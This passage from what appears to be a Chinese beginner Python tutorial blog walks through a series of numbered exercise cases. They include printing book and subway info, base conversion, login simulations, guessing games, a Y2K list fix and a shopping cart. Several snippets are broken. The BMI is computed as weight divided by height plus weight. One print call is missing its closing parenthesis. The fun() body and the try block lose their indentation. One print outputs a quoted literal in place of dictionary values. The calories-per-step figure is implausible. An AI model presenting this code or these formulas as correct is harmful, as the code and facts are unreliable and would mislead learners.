class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;地铁1\t\t\t四惠东→苹果园&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\t\t首车：05:05&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\t\t末车：23:30\t\t票价：起步价：2元&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;------------------------------------&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;  1\t\t  3\t  5\t  7\t\t  9\t\t  11\t\t  12\t\t 14\t\t 16\t\t 18\t\t 20\t\t&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;   ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;四惠东\t大望路\t永安里\t东单\t天安门东\t西单\t复兴门\t木樨地\t公主坟\t五棵松\t八宝山&#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="2-案例二"><a class="markdownIt-Anchor" href="#2-案例二">#</a> 2. 案例二</h2><h3 id="1输出杨老师出版的图书信息"><a class="markdownIt-Anchor" href="#1输出杨老师出版的图书信息">#</a> （1）输出杨老师出版的图书信息</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#1</span></span><br><span class="line">print(<span class="string">&#x27;►→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→◄&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;▷       《Java程序设计教程》   ◁&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;► 出版社：西安电子科技大学出版社 ◄&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;▷     出版时间：2019-02-02     ◁&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;►        定  价：56.8          ◄&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;▷→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→◁&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#2</span></span><br><span class="line">book_name = <span class="string">&#x27;Java程序设计教程&#x27;</span></span><br><span class="line">publish = <span class="string">&#x27;西安电子科技大学出版社&#x27;</span></span><br><span class="line">pub_date = <span class="string">&#x27;2019-02-02&#x27;</span></span><br><span class="line">price = <span class="number">56.8</span></span><br><span class="line">print(<span class="string">&#x27;▶➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝◀&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;▷\t\t 《&#x27;</span>,book_name,<span class="string">&#x27;》 \t\t ◁&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;▷\t出版社：&#x27;</span>,publish,<span class="string">&#x27;\t ◁&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;▷\t出版时间：&#x27;</span>,pub_date,<span class="string">&#x27;\t\t\t ◁&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;▷\t定 价：&#x27;</span>,price,<span class="string">&#x27;\t\t\t\t ◁&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;▷➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝◁&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="2输出红楼梦中的金陵十二钗前五位"><a class="markdownIt-Anchor" href="#2输出红楼梦中的金陵十二钗前五位">#</a> （2）输出《红楼梦》中的金陵十二钗前五位</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#1 变量的赋值</span></span><br><span class="line">name1 = <span class="string">&#x27;林黛玉&#x27;</span></span><br><span class="line">name2 = <span class="string">&#x27;薛宝钗&#x27;</span></span><br><span class="line">name3 = <span class="string">&#x27;贾元春&#x27;</span></span><br><span class="line">name4 = <span class="string">&#x27;贾探春&#x27;</span></span><br><span class="line">name5 = <span class="string">&#x27;史湘云&#x27;</span></span><br><span class="line">print(<span class="string">&#x27;①\t&#x27;</span> + name1)</span><br><span class="line">print(<span class="string">&#x27;②\t&#x27;</span> + name2)</span><br><span class="line">print(<span class="string">&#x27;③\t&#x27;</span> + name3)</span><br><span class="line">print(<span class="string">&#x27;④\t&#x27;</span> + name4)</span><br><span class="line">print(<span class="string">&#x27;⑤\t&#x27;</span> + name5)</span><br><span class="line"><span class="comment">#2 列表</span></span><br><span class="line">lst_name = [<span class="string">&#x27;林黛玉&#x27;</span>,<span class="string">&#x27;薛宝钗&#x27;</span>,<span class="string">&#x27;贾元春&#x27;</span>,<span class="string">&#x27;贾探春&#x27;</span>,<span class="string">&#x27;史湘云&#x27;</span>]</span><br><span class="line">lst_sig = [<span class="string">&#x27;①&#x27;</span>,<span class="string">&#x27;②&#x27;</span>,<span class="string">&#x27;③&#x27;</span>,<span class="string">&#x27;④&#x27;</span>,<span class="string">&#x27;⑤&#x27;</span>]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):</span><br><span class="line">    print(lst_sig[i],lst_name[i])</span><br><span class="line"></span><br><span class="line"><span class="comment">#3字典</span></span><br><span class="line">d = &#123;<span class="string">&#x27;①&#x27;</span>:<span class="string">&#x27;林黛玉&#x27;</span>,<span class="string">&#x27;②&#x27;</span>:<span class="string">&#x27;薛宝钗&#x27;</span>,<span class="string">&#x27;③&#x27;</span>:<span class="string">&#x27;贾元春&#x27;</span>,<span class="string">&#x27;④&#x27;</span>:<span class="string">&#x27;贾探春&#x27;</span>,<span class="string">&#x27;⑤&#x27;</span>:<span class="string">&#x27;史湘云&#x27;</span>&#125;</span><br><span class="line"><span class="keyword">for</span> key <span class="keyword">in</span> d:</span><br><span class="line">    print(<span class="string">&#x27;key,d[key]&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;zip-----------------&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> s,name <span class="keyword">in</span> <span class="built_in">zip</span>(lst_sig,lst_name):</span><br><span class="line">    print(s,name)</span><br></pre></td></tr></table></figure><h3 id="3输出图书音像勋章"><a class="markdownIt-Anchor" href="#3输出图书音像勋章">#</a> （3）输出图书音像勋章</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;\033[0;35m\t\t图书音像勋章\033[m&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\033[0;35m-----------------------\033[m&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\033[0;32m❀图书音像勋章\t\t✪专享活动 \033[m&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\033[0;34m❤专属优惠\t\t\t☎优惠提醒 \033[m&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\033[0;35m-----------------------\033[m&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="4输出你的身体指标"><a class="markdownIt-Anchor" href="#4输出你的身体指标">#</a> （4）输出你的身体指标</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">height = <span class="number">170</span></span><br><span class="line">weight = <span class="number">50.5</span></span><br><span class="line">bmi = weight / (height+weight)</span><br><span class="line">print(<span class="string">&#x27;您的身高是：&#x27;</span>,height)</span><br><span class="line"><span class="comment">#print(&#x27;您的身高是：&#x27; + str(height))</span></span><br><span class="line">print(<span class="string">&#x27;您的体重是：&#x27;</span> + <span class="built_in">str</span>(weight))</span><br><span class="line">print(<span class="string">&#x27;您的BMI是：&#x27;</span> + <span class="built_in">str</span>(bmi))</span><br><span class="line">print(<span class="string">&#x27;您的BMI的指数是：&#x27;</span> <span class="string">&#x27;&#123;:0.2f&#125;&#x27;</span>.<span class="built_in">format</span>(bmi)</span><br></pre></td></tr></table></figure><h2 id="3-案例三"><a class="markdownIt-Anchor" href="#3-案例三">#</a> 3. 案例三</h2><h3 id="1将指定的十进制数转换二进制-八进制-十六进制"><a class="markdownIt-Anchor" href="#1将指定的十进制数转换二进制-八进制-十六进制">#</a> （1）将指定的十进制数转换二进制、八进制、十六进制</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>():</span></span><br><span class="line">num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入一个十进制的整数：&#x27;</span>))<span class="comment">#str转换成int类型</span></span><br><span class="line"><span class="comment">#使用个数可变的位置参数</span></span><br><span class="line">print(num,<span class="string">&#x27;的二进制数为：&#x27;</span>,<span class="built_in">bin</span>(num))</span><br><span class="line"><span class="comment">#使用+作为连接符，注意符号左右均为str类型</span></span><br><span class="line">print(<span class="built_in">str</span>(num) + <span class="string">&#x27;的二进制数为：&#x27;</span> + <span class="built_in">bin</span>(num))</span><br><span class="line"><span class="comment">#格式化字符串</span></span><br><span class="line">print(<span class="string">&#x27;%s的二进制数为：%s&#x27;</span> %  (num,<span class="built_in">bin</span>(num)))</span><br><span class="line"><span class="comment">#格式化字符串</span></span><br><span class="line">print(<span class="string">&#x27;&#123;0&#125;的二进制数为：&#123;1&#125;&#x27;</span>.<span class="built_in">format</span>(num,<span class="built_in">bin</span>(num)))</span><br><span class="line"><span class="comment">#格式化字符串</span></span><br><span class="line">print(<span class="string">f&#x27;<span class="subst">&#123;num&#125;</span>的二进制数为：<span class="subst">&#123;<span class="built_in">bin</span>(num)&#125;</span>&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;---------------------------&#x27;</span>)</span><br><span class="line">print(<span class="string">f&#x27;<span class="subst">&#123;num&#125;</span>的八进制数为：<span class="subst">&#123;<span class="built_in">oct</span>(num)&#125;</span>&#x27;</span>)</span><br><span class="line">print(<span class="string">f&#x27;<span class="subst">&#123;num&#125;</span>的十六进制数为：<span class="subst">&#123;<span class="built_in">hex</span>(num)&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        fun()</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        print(<span class="string">&#x27;只能输入整数！程序出错，请重新输入&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="2为自己手机充值"><a class="markdownIt-Anchor" href="#2为自己手机充值">#</a> （2）为自己手机充值</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;用户手机账户原有话费金额为：\033[0;35m 8元 \033[m&#x27;</span>)</span><br><span class="line">money = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入用户的充值金额：&#x27;</span>))</span><br><span class="line">money += <span class="number">8</span></span><br><span class="line">print(<span class="string">&#x27;当前的余额为：\033[0;32m &#x27;</span>,money,<span class="string">&#x27;元 \033[m&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="3计算能量的消耗"><a class="markdownIt-Anchor" href="#3计算能量的消耗">#</a> （3）计算能量的消耗</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入您当天行走的步数：&#x27;</span>))</span><br><span class="line">calorie = num *<span class="number">28</span></span><br><span class="line">print(<span class="string">f&#x27;您今天一共消耗了卡路里<span class="subst">&#123;calorie&#125;</span>，即<span class="subst">&#123;calorie/<span class="number">1000</span>&#125;</span>千卡&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="4预测未来子女的身高"><a class="markdownIt-Anchor" href="#4预测未来子女的身高">#</a> （4）预测未来子女的身高</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">father_height = <span class="built_in">float</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入父亲的身高：&#x27;</span>))</span><br><span class="line">mother_height = <span class="built_in">float</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入母亲的身高：&#x27;</span>))</span><br><span class="line">son_height = (father_height + mother_height)*<span class="number">0.54</span></span><br><span class="line">print(<span class="string">&#x27;预测子女的身高为：&#123;&#125;cm&#x27;</span>.<span class="built_in">format</span>(son_height))</span><br></pre></td></tr></table></figure><h2 id="4-案例四"><a class="markdownIt-Anchor" href="#4-案例四">#</a> 4. 案例四</h2><h3 id="1支付密码的验证"><a class="markdownIt-Anchor" href="#1支付密码的验证">#</a> （1）支付密码的验证</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">pwd = <span class="built_in">input</span>(<span class="string">&#x27;支付宝支付密码：&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> pwd.isdigit():</span><br><span class="line">    print(<span class="string">&#x27;支付数据合法&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;支付数字不合法，支付密码只能是数字&#x27;</span>)</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;---------------------------&#x27;</span>)</span><br><span class="line">s = <span class="string">&#x27;支付数据合法&#x27;</span> <span class="keyword">if</span> pwd.isdigit() <span class="keyword">else</span> <span class="string">&#x27;支付数字不合法，支付密码只能是数字&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="2模拟qq账号登录"><a class="markdownIt-Anchor" href="#2模拟qq账号登录">#</a> （2）模拟 QQ 账号登录</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">qq = <span class="built_in">input</span>(<span class="string">&#x27;请输入您的QQ号：&#x27;</span>)</span><br><span class="line">pwd = <span class="built_in">input</span>(<span class="string">&#x27;请输入您的密码：&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> qq == <span class="string">&#x27;296626472&#x27;</span>  <span class="keyword">and</span> pwd == <span class="string">&#x27;123&#x27;</span>:</span><br><span class="line">    print(<span class="string">&#x27;登陆成功&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;账号或者密码不正确&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="3商品价格大竞猜"><a class="markdownIt-Anchor" href="#3商品价格大竞猜">#</a> （3）商品价格大竞猜</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line">price = random.randint(<span class="number">1000</span>,<span class="number">1500</span>)</span><br><span class="line">print(<span class="string">&#x27;今日竞猜的商品为小米扫地机器人，价格在[1000-1500]之间：&#x27;</span>)</span><br><span class="line">guess = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="keyword">if</span> guess &gt; price:</span><br><span class="line">    print(<span class="string">&#x27;大了&#x27;</span>)</span><br><span class="line"><span class="keyword">elif</span> guess &lt; price:</span><br><span class="line">    print(<span class="string">&#x27;小了&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;猜对了&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;真实价格为：&#x27;</span>,price)</span><br></pre></td></tr></table></figure><h3 id="4根据星座查看运势"><a class="markdownIt-Anchor" href="#4根据星座查看运势">#</a> （4）根据星座查看运势</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">d = &#123;<span class="string">&#x27;白羊座&#x27;</span>:<span class="string">&#x27;1&#x27;</span>,<span class="string">&#x27;金牛座&#x27;</span>:<span class="string">&#x27;2&#x27;</span>,<span class="string">&#x27;双子座&#x27;</span>:<span class="string">&#x27;3&#x27;</span>,<span class="string">&#x27;巨蟹座&#x27;</span>:<span class="string">&#x27;4&#x27;</span>,<span class="string">&#x27;狮子座&#x27;</span>:<span class="string">&#x27;5&#x27;</span>&#125;</span><br><span class="line">star = <span class="built_in">input</span>(<span class="string">&#x27;请输入您的星座查看近来的运势：&#x27;</span>)</span><br><span class="line"><span class="comment">#print(d[star])</span></span><br><span class="line">print(d.get(star))</span><br></pre></td></tr></table></figure><h2 id="5-案例五"><a class="markdownIt-Anchor" href="#5-案例五">#</a> 5. 案例五</h2><h3 id="1循环输出26个字母对应的ascii码值"><a class="markdownIt-Anchor" href="#1循环输出26个字母对应的ascii码值">#</a> （1）循环输出 26 个字母对应的 ASCII 码值</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">x = <span class="number">97</span>    <span class="comment">#a的ASCII为97</span></span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">27</span>):</span><br><span class="line">    print(<span class="built_in">chr</span>(x),<span class="string">&#x27;---&gt;&#x27;</span>,x)</span><br><span class="line">    x += <span class="number">1</span></span><br><span class="line">    </span><br><span class="line">print(<span class="string">&#x27;---------------&#x27;</span>)</span><br><span class="line">x = <span class="number">97</span></span><br><span class="line"><span class="keyword">while</span> x &lt; <span class="number">123</span>:</span><br><span class="line">    print(<span class="built_in">chr</span>(x),<span class="string">&#x27;----&gt;&#x27;</span>,x)</span><br><span class="line">    x += <span class="number">1</span></span><br></pre></td></tr></table></figure><h3 id="2模拟用户登录"><a class="markdownIt-Anchor" href="#2模拟用户登录">#</a> （2）模拟用户登录</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">4</span>):</span><br><span class="line">    user_name = <span class="built_in">input</span>(<span class="string">&#x27;请输入用户名：&#x27;</span>)</span><br><span class="line">    user_pwd = <span class="built_in">input</span>(<span class="string">&#x27;请输入密码：&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> user_name == <span class="string">&#x27;admin&#x27;</span> <span class="keyword">and</span> user_pwd == <span class="string">&#x27;8888&#x27;</span>:</span><br><span class="line">        print(<span class="string">&#x27;登陆成功&#x27;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&#x27;用户名或密码不正确！&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> i &lt; <span class="number">3</span>:</span><br><span class="line">            print(<span class="string">f&#x27;您还有<span class="subst">&#123;<span class="number">3</span>-i&#125;</span>次机会！&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;对不起，三次均输入错误，请联系后台管理员！&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="3猜数游戏"><a class="markdownIt-Anchor" href="#3猜数游戏">#</a> （3）猜数游戏</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line">rand = random.randint(<span class="number">1</span>,<span class="number">100</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">11</span>):</span><br><span class="line">    num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;在我心中有个数1-100，请你猜一猜。&#x27;</span>))</span><br><span class="line">    <span class="keyword">if</span> num &lt; rand:</span><br><span class="line">        print(<span class="string">&#x27;小了&#x27;</span>)</span><br><span class="line">    <span class="keyword">elif</span> num &gt; rand:</span><br><span class="line">        print(<span class="string">&#x27;大了&#x27;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&#x27;恭喜你猜对了&#x27;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">print(<span class="string">f&#x27;您一共猜了<span class="subst">&#123;i&#125;</span>次&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> i &lt; <span class="number">3</span>:</span><br><span class="line">    print(<span class="string">&#x27;真聪明&#x27;</span>)</span><br><span class="line"><span class="keyword">elif</span> i &lt;= <span class="number">7</span>:</span><br><span class="line">    print(<span class="string">&#x27;还凑合&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;天哪，找杨老师学习二分算法&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="4计算100-999之间的水仙花数"><a class="markdownIt-Anchor" href="#4计算100-999之间的水仙花数">#</a> （4）计算 100-999 之间的水仙花数</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>,<span class="number">1000</span>):</span><br><span class="line">    <span class="keyword">if</span> math.<span class="built_in">pow</span>((i % <span class="number">10</span>),<span class="number">3</span>) + math.<span class="built_in">pow</span>((i//<span class="number">10</span>%<span class="number">10</span>),<span class="number">3</span>) + math.<span class="built_in">pow</span>(i // <span class="number">100</span>,<span class="number">3</span>) == i:</span><br><span class="line">        print(i)</span><br></pre></td></tr></table></figure><h2 id="6-案例六"><a class="markdownIt-Anchor" href="#6-案例六">#</a> 6. 案例六</h2><h3 id="1千年虫我来了"><a class="markdownIt-Anchor" href="#1千年虫我来了">#</a> （1）“千年虫” 我来了</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">year = [<span class="number">82</span>,<span class="number">89</span>,<span class="number">88</span>,<span class="number">86</span>,<span class="number">85</span>,<span class="number">00</span>,<span class="number">99</span>]</span><br><span class="line">print(<span class="string">&#x27;原列表：&#x27;</span>,year)</span><br><span class="line"><span class="keyword">for</span> index,value <span class="keyword">in</span> <span class="built_in">enumerate</span>(year):</span><br><span class="line">    <span class="comment">#print(index,value)</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">str</span>(value) != <span class="string">&#x27;0&#x27;</span>:</span><br><span class="line">        year[index] = <span class="built_in">int</span>(<span class="string">&#x27;19&#x27;</span> + <span class="built_in">str</span>(value))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        year[index] = <span class="built_in">int</span>(<span class="string">&#x27;200&#x27;</span> + <span class="built_in">str</span>(value))</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;修改之后的列表为：&#x27;</span>,year)</span><br><span class="line">year.sort()</span><br><span class="line">print(<span class="string">&#x27;排序之后的列表为：&#x27;</span>,year)</span><br></pre></td></tr></table></figure><h3 id="2京东购物流程"><a class="markdownIt-Anchor" href="#2京东购物流程">#</a> （2）京东购物流程</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">lst = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">5</span>):</span><br><span class="line">    goods = <span class="built_in">input</span>(<span class="string">&#x27;请输入商品的名称进入商品的入库，每次只能输入一个商品：\n&#x27;</span>)</span><br><span class="line">    lst.append(goods)</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> lst:</span><br><span class="line">    print(item)</span><br><span class="line">    </span><br><span class="line">cart = []</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    num = <span class="built_in">input</span>(<span class="string">&#x27;请输入要购买的商品编号：&#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> item <span class="keyword">in</span> lst:</span><br><span class="line">        <span class="keyword">if</span> item.find(num) != -<span class="number">1</span>:</span><br><span class="line">            cart.append(item)</span><br><span class="line">            <span class="keyword">break</span><span class="comment">#退出for循环</span></span><br><span class="line">        <span class="keyword">if</span> num == <span class="string">&#x27;q&#x27;</span>:</span><br><span class="line">            <span class="keyword">break</span><span class="comment">#退出while循环</span></span><br><span class="line">print(<span class="string">&#x27;您购物车里已经选好的商品为：&#x27;</span>)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;for m in cart:</span></span><br><span class="line"><span class="string">    print(m)&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(cart)-<span class="number">1</span>,-<span class="number">1</span>,-<span class="number">1</span>):</span><br><span class="line">    print(cart[j])</span><br></pre></td></tr></table></figure><h2 id="7-案例七"><a class="markdownIt-Anchor" href="#7-案例七">#</a> 7. 案例七</h2><h3 id="1根据星座测试性格特点"><a class="markdownIt-Anchor" href="#1根据星座测试性格特点">#</a> （1）根据星座测试性格特点</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">constellation = [<span class="string">&#x27;白羊座&#x27;</span>,<span class="string">&#x27;金牛座&#x27;</span>,<span class="string">&#x27;双子座&#x27;</span>,<span class="string">&#x27;巨蟹座&#x27;</span>,<span 